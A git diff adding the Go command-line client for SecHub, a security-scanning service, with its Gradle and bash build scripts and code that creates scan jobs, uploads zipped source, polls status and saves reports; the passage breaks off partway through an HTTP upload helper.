-0,0 +1,99 @@ +// SPDX-License-Identifier: MIT + /*============================================================================ + * Build file for subproject + * + * Root build file: "${rootProject.projectDir}/build.gradle" + * ============================================================================ + */ + +task buildGo(type: Exec) { + group 'sechub' + description 'Builds sechub GO client for linux and windows platforms. Does not build anything else.' + // https://golang.org/cmd/go/ + //environment GOPATH: "${projectDir}" + + workingDir "${projectDir}/src/daimler.com/sechub/" + + if (OSUtil.isWindows()){ + commandLine 'cmd', '/c', 'bash', "${projectDir}/build_go.sh","${projectDir}", new MinGWConverter().convert("${projectDir}"),'daimler.com/sechub' + }else{ + commandLine "${projectDir}/build_go.sh","${projectDir}", "${projectDir}",'daimler.com/sechub' + } + +} + +task testGo(type:Exec) { + group 'sechub' + description 'Executes all sechub client GO tests' + // https://golang.org/cmd/go/ + // http://www.binpress.com/tutorial/getting-started-with-go-and-test-driven-development/160 + // https://github.com/jstemmer/go-junit-report' + // https://www.digitalocean.com/community/tutorials/how-to-build-go-executables-for-multiple-platforms-on-ubuntu-16-04#step-4-%E2%80%94-building-executables-for-different-architectures + environment GOPATH: "${projectDir}" + //https://stackoverflow.com/questions/48882691/force-retesting-or-disable-test-caching + // but normally not necessary: environment GOCACHE: "off" + + workingDir "${projectDir}/src/daimler.com/sechub/cli" + + //on windows: + if (OSUtil.isWindows()){ + commandLine 'cmd', '/c', 'go', 'test', 'daimler.com/sechub/cli', 'daimler.com/sechub/util' + }else{ + commandLine 'go', 'test', 'daimler.com/sechub/cli', 'daimler.com/sechub/util' + } + +} + +task assembleArtifact(type: Zip, group: 'client') { + archiveName "sechub-client-${project.version}.zip" + destinationDir file("$buildDir/zip/") + from "${projectDir}/build/go/" + from "${rootProject.projectDir}/sechub-doc/build/asciidoc/sechub-client.pdf" // we add the documentation into zip + description "Assemble archive $archiveName into ${relativePath(destinationDir)}" +} + +/** + * We currently publish only client binaries in a zipped file, containing all build platforms - documentation can be found inside sechub-doc + */ +apply plugin: 'maven-publish' + +version = VersionData.getClientVersion() + +publishing { + publications { + mavenJava(MavenPublication) { + + artifact source: assembleArtifact, extension: 'zip' + + pom { + name = 'SecHub Clients' + description = 'SecHub Clients for all supported plattforms as one single zip file' + + scm { + url = 'https://github.com/daimler/sechub' + } + + licenses { + license { + name = 'MIT License' + url = 'https://github.com/daimler/sechub/blob/master/LICENSE' + } + } + } + } + } + + repositories { + maven { + // either use defined one or use local maven repo... + url = project.hasProperty("mavenTargetRepoUrl") ? project.properties['mavenTargetRepoUrl'] : System.getProperty("user.home")+"/.m2/repository" + + if (project.hasProperty("mavenRepoUserName") && project.hasProperty("mavenRepoPassword")) { + credentials(PasswordCredentials) { + username project.properties['mavenRepoUserName'] + password project.properties['mavenRepoPassword'] + } + } + } + } +} \ No newline at end of file diff --git a/sechub-cli/build_go.sh b/sechub-cli/build_go.sh new file mode 100755 index 0000000000..50d264fa0a --- /dev/null +++ b/sechub-cli/build_go.sh @@ -0,0 +1,63 @@ +#!/usr/bin/env bash + +# SPDX-License-Identifier: MIT + +projectDirOSspecific=$1 +projectDirLinuxPath=$2 #converted part , necessary for mingw on windows... +package=$3 +platforms=$4 +globalBuildDir=$5 + +# echo ">>projectDirOsSpecific=$1" + +if [[ -z "$package" ]]; then + echo "usage: $0 [ ]" + exit 1 +fi + +if [[ -z "$platforms" ]]; then + platforms=("linux/386" "windows/amd64" "windows/386" ) +fi + + +package_split=(${package//\// }) +package_name=${package_split[-1]} + +echo "Build go:Start building package '$package'" + +export GOPATH="$projectDirOSspecific" # ignore former one, prevents differt of ; and : of pathes... + +# echo ">>GOPATH=$GOPATH" + +for platform in "${platforms[@]}" +do + platform_split=(${platform//\// }) + GOOS=${platform_split[0]} + GOARCH=${platform_split[1]} + output_name=$package_name'-'$GOOS'-'$GOARCH + targetSubFolder='platform/'$GOOS'-'$GOARCH + if [ $GOOS = "windows" ]; then + output_name+='.exe' + fi + echo ">building:$targetSubFolder" + env GOOS=$GOOS GOARCH=$GOARCH go build -o $output_name $package + if [ $? -ne 0 ]; then + echo 'Go build failed because of an error' + exit 1 + fi + + if [[ -z "$globalBuildDir" ]]; then + buildDir="$projectDirLinuxPath/build/go/$targetSubFolder" + else + buildDir="$globalBuildDir" + fi + finalOutputName=$package_name + if [ $GOOS = "windows" ]; then + finalOutputName+='.exe' + fi + mkdir -p "$buildDir" + mv "$output_name" "$buildDir/$finalOutputName" + # create sha25 checksum and use only first part (checksum) + checksumHash=($(sha256sum "$buildDir/$finalOutputName")) + echo "$checksumHash" > "$buildDir/$finalOutputName.sha256" +done \ No newline at end of file diff --git a/sechub-cli/src/daimler.com/sechub/cli/config.go b/sechub-cli/src/daimler.com/sechub/cli/config.go new file mode 100644 index 0000000000..7aa04ab6c4 --- /dev/null +++ b/sechub-cli/src/daimler.com/sechub/cli/config.go @@ -0,0 +1,136 @@ +// SPDX-License-Identifier: MIT +package cli + +import ( + "flag" + "fmt" + "os" + "strconv" + "time" +) + +/** +* Configuration for internal CLI calls + */ +type Config struct { + user string + apiToken string + projectId string + server string + configFilePath string + trustAll bool + debug bool + keepTempFiles bool + action string + secHubJobUUID string + waitNanoseconds int64 + timeOutNanoseconds int64 + outputFolder string + quiet bool + reportFormat string + stopOnYellow bool +} + +func NewConfigByFlags() *Config { + /* internal stuff - only necessary for developement*/ + var debug = os.Getenv("SECHUB_DEBUG") == "true" + var keepTempFiles = os.Getenv("SECHUB_KEEP_TEMPFILES") == "true" + var quiet = os.Getenv("SECHUB_QUIET") == "true" + var trustAll = os.Getenv("SECHUB_TRUSTALL") == "true" + + defaultWaitTime := 60 + defaultTimeoutInSeconds := 120 + + var defaultWaitTimeEnv = os.Getenv("SECHUB_WAITTIME_DEFAULT") + if defaultWaitTimeEnv != "" { + defaultWaitTime, _ = strconv.Atoi(defaultWaitTimeEnv) + } + + apiTokenPtr := flag.String("apitoken", "", "The api token. This is a mandatory option for every action. Can NOT be defined in config file") + versionPtr := flag.Bool("version", false, "Shows version info and terminates") + stopOnYellowPtr := flag.Bool("stop-on-yellow", false, "When enabled a yellow traffic light will also break the build") + helpPtr := flag.Bool("help", false, "Shows help and terminates") + userPtr := flag.String("user", "", "userid - mandatory, but can also be defined in config file") + projectIdPtr := flag.String("project", "", "unique project id - mandatory, but can also be defined in config file") + serverPtr := flag.String("server", "", "server url of sechub server to use - e.g. https//example.com:8081. Mandatory, but can also be defined in config file") + configFilePathPtr := flag.String("configfile", "", "path to sechub config file, if not defined './"+DEFAULT_SECHUB_CONFIG_FILE+"' will be used") + + secHubJobUUIDPtr := flag.String("jobUUID", "", "sechub job uuid (mandatory when using '"+ACTION_EXECUTE_GET_STATUS+"' or '"+ACTION_EXECUTE_GET_REPORT+"')") + waitSecondsPtr := flag.Int("wait", defaultWaitTime, "wait time in seconds. Will be used for automatic status checks etc. when action='"+ACTION_EXECUTE_SYNCHRON+"'.") + timeOutSecondsPtr := flag.Int("timeout", defaultTimeoutInSeconds, "time out for network communication in seconds.") + outputFolderPathPtr := flag.String("output", "", "output folder for reports etc. per default current dir") + reportFormatPtr := flag.String("reportformat", "json", "output format for reports, supported currently: [html,json]. If not a wellknown format json will always be the fallback.") + flag.Parse() + + if *helpPtr == true { + showHelpAndExit() + } + if *versionPtr == true { + showVersionInfoAndExit() + } + + oneSecond := 1 * time.Second + + config := new(Config) + + config.apiToken = *apiTokenPtr + config.user = *userPtr + config.projectId = *projectIdPtr + config.configFilePath = *configFilePathPtr + config.server = *serverPtr + config.secHubJobUUID = *secHubJobUUIDPtr + config.waitNanoseconds = int64(*waitSecondsPtr) * oneSecond.Nanoseconds() + config.timeOutNanoseconds = int64(*timeOutSecondsPtr) * oneSecond.Nanoseconds() + config.outputFolder = *outputFolderPathPtr + config.reportFormat = *reportFormatPtr + + config.trustAll = trustAll + config.quiet = quiet + config.debug = debug + config.keepTempFiles = keepTempFiles + config.stopOnYellow = *stopOnYellowPtr + + if config.configFilePath == "" { + config.configFilePath = DEFAULT_SECHUB_CONFIG_FILE + } + config.action = flag.Arg(0) + + return config + +} + +func assertValidConfig(configPtr *Config) { + /* -------------------------------------------------- + * Validation + * -------------------------------------------------- + */ + if configPtr.user == "" { + fmt.Println("userid missing!") + os.Exit(EXIT_CODE_MISSING_PARAMETER) + } + + if configPtr.apiToken == "" { + fmt.Println("api token missing!") + os.Exit(EXIT_CODE_MISSING_PARAMETER) + } + + if configPtr.projectId == "" { + fmt.Println("project id missing!") + os.Exit(EXIT_CODE_MISSING_PARAMETER) + } + + if configPtr.server == "" { + fmt.Println("sechub server not defined!") + os.Exit(EXIT_CODE_MISSING_PARAMETER) + } + + if configPtr.configFilePath == "" { + fmt.Println("sechub config file not set") + os.Exit(EXIT_CODE_MISSING_PARAMETER) + } + + if configPtr.action == "" { + fmt.Println("sechub action not set") + os.Exit(EXIT_CODE_MISSING_PARAMETER) + } +} diff --git a/sechub-cli/src/daimler.com/sechub/cli/config_test.go b/sechub-cli/src/daimler.com/sechub/cli/config_test.go new file mode 100644 index 0000000000..ae819903f0 --- /dev/null +++ b/sechub-cli/src/daimler.com/sechub/cli/config_test.go @@ -0,0 +1,13 @@ +// SPDX-License-Identifier: MIT +package cli + +import ( + "testing" +) + +func TestConfigByFlagsThrowsNoError(t *testing.T) { + config := NewConfigByFlags() + if config == nil { + t.Fatal("NewConfigByFlags() return null!") + } +} diff --git a/sechub-cli/src/daimler.com/sechub/cli/constants.go b/sechub-cli/src/daimler.com/sechub/cli/constants.go new file mode 100644 index 0000000000..336a109b5d --- /dev/null +++ b/sechub-cli/src/daimler.com/sechub/cli/constants.go @@ -0,0 +1,19 @@ +// SPDX-License-Identifier: MIT +package cli +const EXIT_CODE_OK=0 +const EXIT_CODE_FAILED=1 +const EXIT_CODE_MISSING_PARAMETER = 3 +const EXIT_CODE_MISSING_CONFIGFILE = 4 +const EXIT_CODE_HTTP_ERROR = 5 +const EXIT_CODE_ILLEGAL_ACTION = 6 +const EXIT_CODE_MISSING_CONFIGPARTS = 7 + +const DEFAULT_SECHUB_CONFIG_FILE = "sechub.json" + +const ACTION_EXECUTE_SYNCHRON="scan" +const ACTION_EXECUTE_ASYNCHRON="scanAsync" +const ACTION_EXECUTE_GET_STATUS="getStatus" +const ACTION_EXECUTE_GET_REPORT="getReport" + +const EXECUTION_STATE_ENDED="ENDED" +const EXECUTION_RESULT_FAILED="FAILED" \ No newline at end of file diff --git a/sechub-cli/src/daimler.com/sechub/cli/context-initializer.go b/sechub-cli/src/daimler.com/sechub/cli/context-initializer.go new file mode 100644 index 0000000000..1c8016a300 --- /dev/null +++ b/sechub-cli/src/daimler.com/sechub/cli/context-initializer.go @@ -0,0 +1,53 @@ +// SPDX-License-Identifier: MIT +package cli + +import ( + "fmt" +) + +func InitializeContext() *Context { + /* create config and context */ + configPtr := NewConfigByFlags() + context := NewContext(configPtr) + + /* load configuration file - maybe there are some settings normally done by cli arguments too */ + loadConfigFile(context) + + /* assert after load the configuration is valid */ + assertValidConfig(configPtr) + + return context +} + +/** +* Loads config file. + */ +func loadConfigFile(context *Context) { + configPtr := context.config + filePath := configPtr.configFilePath + + configFromFile := newSecHubConfigurationFromFile(context, filePath) + + /* override if not set before */ + if configPtr.server == "" { + debugNotDefinedAsOption(context, "server", configFromFile.Server) + configPtr.server = configFromFile.Server + } + if configPtr.user == "" { + debugNotDefinedAsOption(context, "user", configFromFile.User) + configPtr.user = configFromFile.User + } + if configPtr.projectId == "" { + debugNotDefinedAsOption(context, "projectId", configFromFile.ProjectId) + configPtr.projectId = configFromFile.ProjectId + } + + context.sechubConfig = &configFromFile +} + +func debugNotDefinedAsOption(context *Context, fieldName string, fieldValue string) { + if !context.config.debug { + return + } + LogDebug(context, fmt.Sprintf("'%s' not defined by option - use entry from config file:'%s'", fieldName, fieldValue)) +} diff --git a/sechub-cli/src/daimler.com/sechub/cli/context.go b/sechub-cli/src/daimler.com/sechub/cli/context.go new file mode 100644 index 0000000000..6a160ff7c2 --- /dev/null +++ b/sechub-cli/src/daimler.com/sechub/cli/context.go @@ -0,0 +1,37 @@ +// SPDX-License-Identifier: MIT +package cli + +import ( + "crypto/tls" + "net/http" + "time" +) + +type Context struct { + config *Config + byteValue []byte + HttpClient *http.Client + sechubConfig *SecHubConfig + sourceZipFileChecksum string + sourceZipFileName string +} + +func (context *Context) isUploadingSourceZip() bool { + return context.sourceZipFileName != "" +} + +/** + * Creates a new CLI context by given config + */ +func NewContext(config *Config) *Context { + context := new(Context) + context.config = config + + /* setup HTTP client */ + tr := &http.Transport{ + TLSClientConfig: &tls.Config{InsecureSkipVerify: config.trustAll}, + } + context.HttpClient = &http.Client{Timeout: time.Duration(context.config.timeOutNanoseconds), Transport: tr} + + return context +} diff --git a/sechub-cli/src/daimler.com/sechub/cli/controller-uploadsourcezip.go b/sechub-cli/src/daimler.com/sechub/cli/controller-uploadsourcezip.go new file mode 100644 index 0000000000..b4d977a05b --- /dev/null +++ b/sechub-cli/src/daimler.com/sechub/cli/controller-uploadsourcezip.go @@ -0,0 +1,32 @@ +// SPDX-License-Identifier: MIT +package cli + +import ( + "log" + "os" +) + +func uploadSourceZipFile(context *Context) { + if !context.isUploadingSourceZip() { + return + } + if !context.config.keepTempFiles { + /* when debug mode enabled we keep the zipped file */ + defer os.Remove(context.sourceZipFileName) + } + extraParams := map[string]string{ + "title": "Sourcecode zipped", + "author": "Sechub client " + Version(), + "checkSum": context.sourceZipFileChecksum, + } + request, err := newfileUploadRequest(buildUploadSourceCodeAPICall(context), extraParams, "file", context.sourceZipFileName) + + if err != nil { + log.Fatal(err) + } + request.SetBasicAuth(context.config.user, context.config.apiToken) + + response, err := context.HttpClient.Do(request) + + HandleHTTPErrorAndResponse(response, err) +} diff --git a/sechub-cli/src/daimler.com/sechub/cli/controller.go b/sechub-cli/src/daimler.com/sechub/cli/controller.go new file mode 100644 index 0000000000..1b30b61c52 --- /dev/null +++ b/sechub-cli/src/daimler.com/sechub/cli/controller.go @@ -0,0 +1,267 @@ +// SPDX-License-Identifier: MIT +package cli + +import ( + . "daimler.com/sechub/util" + "encoding/json" + "fmt" + "io/ioutil" + "os" + "time" +) + +type jobStatusResult struct { + State string `json:"state"` + Result string `json:"result"` + TrafficLight string `json:"trafficLight"` +} + +type jobScheduleResult struct { + // { + // "jobId": "a52e0695-5789-4902-9643-72d2ce138942" + //} + JobId string `json:"jobId"` +} + +func Execute() { + initHelp() + context := InitializeContext() + + printLogoWithVersion(os.Stdout) + + if context.config.trustAll { + if !context.config.quiet { + fmt.Println("WARNING: Configured to trust all - means unnown service certificate is accepted. Don't use this in production!") + } + } + + action := context.config.action + if action == ACTION_EXECUTE_SYNCHRON { + commonWayToApprove(context) + waitForSecHubJobDoneAndFailOnTrafficLight(context) + os.Exit(EXIT_CODE_OK) + + } else if action == ACTION_EXECUTE_ASYNCHRON { + commonWayToApprove(context) + fmt.Println(context.config.secHubJobUUID) + os.Exit(EXIT_CODE_OK) + + } else if action == ACTION_EXECUTE_GET_STATUS { + state := getSecHubJobState(context, true, false, false) + fmt.Println(state) + os.Exit(EXIT_CODE_OK) + + } else if action == ACTION_EXECUTE_GET_REPORT { + report := getSecHubJobReport(context) + fmt.Println(report) + os.Exit(EXIT_CODE_OK) + } + fmt.Printf("Unknown action '%s'", context.config.action) + os.Exit(EXIT_CODE_ILLEGAL_ACTION) +} + +/* -------------------------------------------------- + * Common way until approve: create job, handle + * code scan parts, do approve + * --------------------------------------------------*/ +func commonWayToApprove(context *Context) { + createNewSecHubJob(context) + handleCodeScanParts(context) + approveSecHubJob(context) +} + +/* -------------------------------------------------- + * Create Job, updates config with job id + * -------------------------------------------------- + */ +func createNewSecHubJob(context *Context) { + fmt.Printf("- Creating new sechub job\n") + response := sendWithDefaultHeader("POST", buildCreateNewSecHubJobAPICall(context), context) + + data, err := ioutil.ReadAll(response.Body) + HandleError(err) + + var result jobScheduleResult + jsonErr := json.Unmarshal(data, &result) + HandleError(jsonErr) + + context.config.secHubJobUUID = result.JobId +} + +/* -------------------------------------------------- + * Handle code scan parts + * -------------------------------------------------- + */ +func handleCodeScanParts(context *Context) { + handleCodeScan(context) + if !context.isUploadingSourceZip() { + return + } + fmt.Printf("- Uploading source zip file\n") + uploadSourceZipFile(context) +} + +func handleCodeScan(context *Context) { + /* currently we only provide filesystem - means zipping etc. */ + json := context.sechubConfig + + amountOfFolders := len(json.CodeScan.FileSystem.Folders) + LogDebug(context, fmt.Sprintf("handleCodeScan - folders=%s", json.CodeScan.FileSystem.Folders)) + LogDebug(context, fmt.Sprintf("handleCodeScan - excludes=%s", json.CodeScan.Excludes)) + LogDebug(context, fmt.Sprintf("handleCodeScan - amount of folders found: %d", amountOfFolders)) + if amountOfFolders == 0 { + /* nothing set, so no upload */ + return + } + context.sourceZipFileName = fmt.Sprintf("sourcecode-%s.zip", context.config.secHubJobUUID) + + /* compress all folders to one single zip file*/ + config:= ZipConfig{Folders: json.CodeScan.FileSystem.Folders, Excludes: json.CodeScan.Excludes} + ZipFolders(context.sourceZipFileName, &config) + /* calculate checksum for zip file */ + context.sourceZipFileChecksum = CreateChecksum(context.sourceZipFileName) +} + +/* -------------------------------------------------- + * Approve Job + * -------------------------------------------------- + */ +func approveSecHubJob(context *Context) { + fmt.Printf("- Approve sechub job\n") + response := sendWithDefaultHeader("PUT", buildApproveSecHubJobAPICall(context), context) + + _, err := ioutil.ReadAll(response.Body) + HandleError(err) +} + +func waitForSecHubJobDoneAndFailOnTrafficLight(context *Context) string { + return getSecHubJobState(context, false, true, true) +} + +func getSecHubJobState(context *Context, checkOnlyOnce bool, checkTrafficLight bool, downloadReport bool) string { + fmt.Printf("- Waiting for job %s to be done", context.config.secHubJobUUID) + // { + // "jobUUID": "e21b13fc-591e-4abd-b119-755d473c5625", + // "owner": "developer", + // "created": "2018-03-06T12:59:59.691", + // "started": "2018-03-06T13:00:00.007", + // "ended": "2018-03-06T13:00:04.562", + // "state": "ENDED", + // "result": "OK", + // "trafficLight": "GREEN" + // } + + // { + // "jobUUID": "a52e0695-5789-4902-9643-72d2ce138942", + // "owner": "developer", + // "created": "2018-03-08T23:08:54.014", + // "started": "2018-03-08T23:08:55.013", + // "ended": "2018-03-08T23:08:57.324", + // "state": "ENDED", + // "result": "FAILED", + // "trafficLight": "" + //} + + done := false + var status jobStatusResult + + newLine := true + cursor := 0 + /* PROGRESS bar ... 80 chars with dot, then next line... */ + for { + if newLine { + fmt.Print("\n ") + newLine = false + } + done = checkOnlyOnce + fmt.Print(".") + cursor++ + if cursor == 80 { + cursor = 0 + newLine = true + } + response := sendWithDefaultHeader("GET", buildGetSecHubJobStatusAPICall(context), context) + + data, err := ioutil.ReadAll(response.Body) + HandleHTTPError(err) + if context.config.debug { + LogDebug(context, fmt.Sprintf("get job status :%s", string(data))) + } + + /* transform text to json */ + err = json.Unmarshal(data, &status) + HandleHTTPError(err) + + if status.State == EXECUTION_STATE_ENDED { + done = true + } + if done { + if !checkTrafficLight { + return string(data) + } + break + } else { + time.Sleep(time.Duration(context.config.waitNanoseconds)) + } + } + fmt.Print("\n") + if downloadReport { + fileEnding := ".json" + if context.config.reportFormat == "html" { + fileEnding = ".html" + } + fileName := "sechub_report_" + context.config.secHubJobUUID + fileEnding + report := Report{serverResult: getSecHubJobReport(context), outputFolder: context.config.outputFolder, outputFileName: fileName} + report.save(context) + } + + /* FAIL mode */ + if status.TrafficLight == "" { + fmt.Println(" No traffic light available! Seems job has been broken.") + os.Exit(EXIT_CODE_FAILED) + } + if status.TrafficLight == "RED" { + fmt.Println(" RED alert - security vulnerabilities identified (critical or high)") + os.Exit(EXIT_CODE_FAILED) + } + if status.TrafficLight == "YELLOW" { + fmt.Println(" YELLOW alert - security vulnerabilities identified (but not critical or high)") + if (context.config.stopOnYellow == true){ + os.Exit(EXIT_CODE_FAILED) + }else{ + return "" + } + } + if status.TrafficLight == "GREEN" { + fmt.Println(" GREEN - no security vulnerabilities identified") + return "" + } + fmt.Printf("UNKNOWN traffic light:%s\n", status.TrafficLight) + os.Exit(EXIT_CODE_FAILED) + return "" // dummy - will never happen + +} + +func getSecHubJobReport(context *Context) string { + fmt.Printf("- Fetching result (format=%s) for job %s\n", context.config.reportFormat, context.config.secHubJobUUID) + + header := make(map[string]string) + header["Content-Type"] = "application/json" + + if context.config.reportFormat == "html" { + header["Accept"] = "text/html" + } else { + header["Accept"] = "application/json" + } + LogDebug(context, fmt.Sprintf("getSecHubJobReport: header=%s\n", header)) + response := sendWithHeader("GET", buildGetSecHubJobReportAPICall(context), context, header) + + data, err := ioutil.ReadAll(response.Body) + HandleHTTPError(err) + + jsonString := string(data) + if context.config.debug { + LogDebug(context, fmt.Sprintf("get job report :%s", jsonString)) + } + return jsonString +} diff --git a/sechub-cli/src/daimler.com/sechub/cli/errorhandler.go b/sechub-cli/src/daimler.com/sechub/cli/errorhandler.go new file mode 100644 index 0000000000..dd1f31cbe5 --- /dev/null +++ b/sechub-cli/src/daimler.com/sechub/cli/errorhandler.go @@ -0,0 +1,35 @@ +// SPDX-License-Identifier: MIT +package cli + +import ( + "fmt" + "io/ioutil" + "net/http" + "os" +) + +func HandleHTTPError(err error) { + if err != nil { + LogError(fmt.Sprintf("The HTTP request failed with error %s\n", err)) + os.Exit(EXIT_CODE_HTTP_ERROR) + } +} + +func HandleError(err error) { + if err != nil { + LogError(fmt.Sprintf("Error: %s\n", err)) + os.Exit(EXIT_CODE_HTTP_ERROR) + } +} +func HandleHTTPResponse(res *http.Response) { + if res.StatusCode != 200 { + b, _ := ioutil.ReadAll(res.Body) + LogError(fmt.Sprintf("The HTTP request failed with error %s\nbody=%s\n", res.Status, string(b))) + os.Exit(EXIT_CODE_HTTP_ERROR) + } +} + +func HandleHTTPErrorAndResponse(res *http.Response, err error) { + HandleHTTPError(err) + HandleHTTPResponse(res) +} diff --git a/sechub-cli/src/daimler.com/sechub/cli/help.go b/sechub-cli/src/daimler.com/sechub/cli/help.go new file mode 100644 index 0000000000..2801e58022 --- /dev/null +++ b/sechub-cli/src/daimler.com/sechub/cli/help.go @@ -0,0 +1,63 @@ +// SPDX-License-Identifier: MIT +package cli + +import ( + "flag" + "fmt" + "os" +) + +func initHelp() { + flag.Usage = func() { + w := flag.CommandLine.Output() + fmt.Fprintf(w, "Usage of %s:\nsechub [options] action\n", os.Args[0]) + + info := "\nYou can define most of the options also inside your config file! But commandline arguments will override those settings.\nOptions:\n" + fmt.Fprintf(w, info) + + flag.PrintDefaults() + action := "action\n" + action += " following actions are supported:\n" + action += " '" + ACTION_EXECUTE_SYNCHRON + "' will start scan, wait for job done, fetch automatifcally result report to output folder\n" + action += " '" + ACTION_EXECUTE_ASYNCHRON + "' will just trigger scan and return job id in json\n" + action += " '" + ACTION_EXECUTE_GET_STATUS + "' will fetch current job status and return result as json\n" + action += " '" + ACTION_EXECUTE_GET_REPORT + "' will fetch report as json (result will only exist when job is done)\n" + + fmt.Fprintf(w, "Arguments:\n %s", action) + fmt.Fprintln(w) + fmt.Fprint(w, "Example for starting a scan which will block until results are availabe:\n") + fmt.Fprint(w, " sechub -apitoken 7536a8c4aa82407da7e06bdbf8dd772f scan\n") + fmt.Fprint(w, "\n") + fmt.Fprint(w, "Example '"+DEFAULT_SECHUB_CONFIG_FILE+"' config file which will configure a webscan and also source scan:\n\n") + + fmt.Fprintf(w, " {\n") + fmt.Fprintf(w, " \"apiVersion\": \"1.0\",\n") + fmt.Fprintf(w, "\n") + fmt.Fprintf(w, " \"server\" : \"https://$SECHUB_SERVER/\",\n") + fmt.Fprintf(w, " \"user\" : \"alice\",\n") + fmt.Fprintf(w, "\n") + fmt.Fprintf(w, " \"project\" : \"gamechanger\",\n") + fmt.Fprintf(w, "\n") + fmt.Fprintf(w, " \"webScan\" : {\n") + fmt.Fprintf(w, " \"uris\": [\"http://$SCAN_TARGET_SERVER/\"]\n") + fmt.Fprintf(w, " }\n") + fmt.Fprintf(w, " \"codeScan\" : {\n") + fmt.Fprintf(w, " \"fileSystem\" : {\n") + fmt.Fprintf(w, " \"folders\": [\"gamechanger-android/src/main/java\",\"gamechanger-server/src/main/java\"]\n") + fmt.Fprintf(w, " },\n") + fmt.Fprintf(w, " \"excludes\": [\"**/*.log\",\"README.md\"]\n") + fmt.Fprintf(w, " }\n") + + fmt.Fprintf(w, " }\n") + fmt.Fprintf(w, "\nPlease look into 'sechub-user.pdf' for detailed help, correct sechub server url, more examples, etc.\n") + } +} + +func showHelpAndExit() { + flag.Usage() + os.Exit(0) +} +func showVersionInfoAndExit() { + printLogoWithVersion(os.Stdout) + os.Exit(0) +} diff --git a/sechub-cli/src/daimler.com/sechub/cli/log.go b/sechub-cli/src/daimler.com/sechub/cli/log.go new file mode 100644 index 0000000000..06f7f1fc1f --- /dev/null +++ b/sechub-cli/src/daimler.com/sechub/cli/log.go @@ -0,0 +1,22 @@ +// SPDX-License-Identifier: MIT +package cli + +import "fmt" + +func LogError(text string){ + var result string = "ERROR: "+text+"\n"//fmt.Sprintf(text,a) + fmt.Printf(result) +} + +func LogVerbose(text string){ + var result string = "VERBOSE: "+text+"\n"//fmt.Sprintf(text,a) + fmt.Printf(result) +} + +func LogDebug(context *Context, text string){ + if (! context.config.debug){ + return + } + var result string = "DEBUG: "+text+"\n"//fmt.Sprintf(text,a) + fmt.Printf(result) +} \ No newline at end of file diff --git a/sechub-cli/src/daimler.com/sechub/cli/logo.go b/sechub-cli/src/daimler.com/sechub/cli/logo.go new file mode 100644 index 0000000000..742cf4901d --- /dev/null +++ b/sechub-cli/src/daimler.com/sechub/cli/logo.go @@ -0,0 +1,20 @@ +// SPDX-License-Identifier: MIT +package cli + +import ( + "fmt" + "io" +) +func printLogoWithVersion(w io.Writer){ + printLogoNoNewLine(w) + fmt.Printf("Client Version %s\n", Version()) +} +func printLogoNoNewLine(w io.Writer) { + fmt.Fprintf(w, " _____ _ _ _ \n") + fmt.Fprintf(w, "/ ___| | | | | | | \n") + fmt.Fprintf(w, "\\ `--. ___ ___| |_| |_ _| |__ \n") + fmt.Fprintf(w, " `--. \\/ _ \\/ __| _ | | | | '_ \\ \n") + fmt.Fprintf(w, "/\\__/ / __/ (__| | | | |_| | |_) |\n") + fmt.Fprintf(w, "\\____/ \\___|\\___\\_| |_/\\__,_|_.__/ ") + +} diff --git a/sechub-cli/src/daimler.com/sechub/cli/report.go b/sechub-cli/src/daimler.com/sechub/cli/report.go new file mode 100644 index 0000000000..8b17f342e8 --- /dev/null +++ b/sechub-cli/src/daimler.com/sechub/cli/report.go @@ -0,0 +1,52 @@ +// SPDX-License-Identifier: MIT +package cli + +import ( + "fmt" + "os" + "io/ioutil" + "path/filepath" + "encoding/json" + "bytes" +) + +type Report struct{ + outputFileName string + outputFolder string + serverResult string +} + +func (report *Report) save(context *Context) { + + filePath:= report.createReportFilePath(context, true) + LogDebug(context, fmt.Sprintf("filepath %s:\n", filePath)) + content:=report.serverResult + if (context.config.reportFormat=="json"){ + content=jsonPrettyPrint(content) + } + + d1 := []byte(content) + err := ioutil.WriteFile(filePath, d1, 0644) + HandleError(err) + fmt.Printf(" SecHub report written to %s\n", filePath) +} + +func (report *Report) createReportFilePath(context *Context, forceDirectory bool) string{ + path:=report.outputFolder + if (forceDirectory){ + if _, err := os.Stat(path); os.IsNotExist(err) { + os.MkdirAll(path, os.ModePerm) + } + } + result:= filepath.Join(path,report.outputFileName) + return result +} + +func jsonPrettyPrint(in string) string { + var out bytes.Buffer + err := json.Indent(&out, []byte(in), "", " ") + if err != nil { + return in + } + return out.String() +} \ No newline at end of file diff --git a/sechub-cli/src/daimler.com/sechub/cli/report_test.go b/sechub-cli/src/daimler.com/sechub/cli/report_test.go new file mode 100644 index 0000000000..91ccc97976 --- /dev/null +++ b/sechub-cli/src/daimler.com/sechub/cli/report_test.go @@ -0,0 +1,22 @@ +// SPDX-License-Identifier: MIT +package cli + +import ( + "path/filepath" + "testing" +) + +func TestFilePathCorrectCreated(t *testing.T) { + /* prepare */ + report := Report{serverResult: "content", outputFolder: "path1", outputFileName: "fileName1"} + context:= new(Context) + + /* execute */ + result := report.createReportFilePath(context, false) + + /* test */ + expected := filepath.Join("path1", "fileName1") + if result != expected { + t.Fatalf("Strings differ:\nExpected:%s\nGot :%s", expected, result) + } +} diff --git a/sechub-cli/src/daimler.com/sechub/cli/resthelper.go b/sechub-cli/src/daimler.com/sechub/cli/resthelper.go new file mode 100644 index 0000000000..f2bb4de2c2 --- /dev/null +++ b/sechub-cli/src/daimler.com/sechub/cli/resthelper.go @@ -0,0 +1,73 @@ +// SPDX-License-Identifier: MIT +package cli + +import ( + "bytes" + "fmt" + "io" + "mime/multipart" + "net/http" + "os" + "path/filepath" +) + +/** + * Send http request with standard header, means accepted and content-type are set to json + */ +func sendWithDefaultHeader(method string, url string, context *Context) *http.Response { + header := make(map[string]string) + header["Content-Type"] = "application/json" + header["Accept"] = "application/json" + return sendWithHeader(method, url, context, header) +} + +func sendWithHeader(method string, url string, context *Context, header map[string]string) *http.Response { + + LogDebug(context, fmt.Sprintf("Sending to %s:\nHeaders:\n%s\nContent:\n%s\n", url, header, context.byteValue)) + /* send */ + + req, err1 := http.NewRequest(method, url, bytes.NewBuffer(context.byteValue)) + HandleHTTPError(err1) + req.SetBasicAuth(context.config.user, context.config.apiToken) + + for key := range header { + req.Header.Set(key, header[key]) + } + + response, err2 := context.HttpClient.Do(req) //http.Post(createJobURL, "application/json", bytes.NewBuffer(context.byteValue)) + HandleHTTPErrorAndResponse(response, err2) + return response +} + +// Creates a new file upload http request with optional extra params +func newfileUploadRequest(uploadToURL string, params map[string]string, paramName, path string) (*http.Request, error) { + file, err := os.Open(path) + if err != nil { + return nil, err + } + defer file.Close() + + body := &bytes.Buffer{} + writer := 